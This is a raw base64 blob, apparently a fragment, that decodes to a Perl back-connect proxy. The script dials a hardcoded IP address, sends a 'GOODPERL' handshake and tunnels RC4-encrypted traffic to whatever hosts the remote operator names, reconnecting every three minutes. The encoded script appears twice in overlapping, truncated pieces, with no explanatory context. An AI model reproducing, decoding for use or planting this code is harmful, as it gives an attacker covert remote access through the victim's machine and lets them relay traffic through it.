JCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQk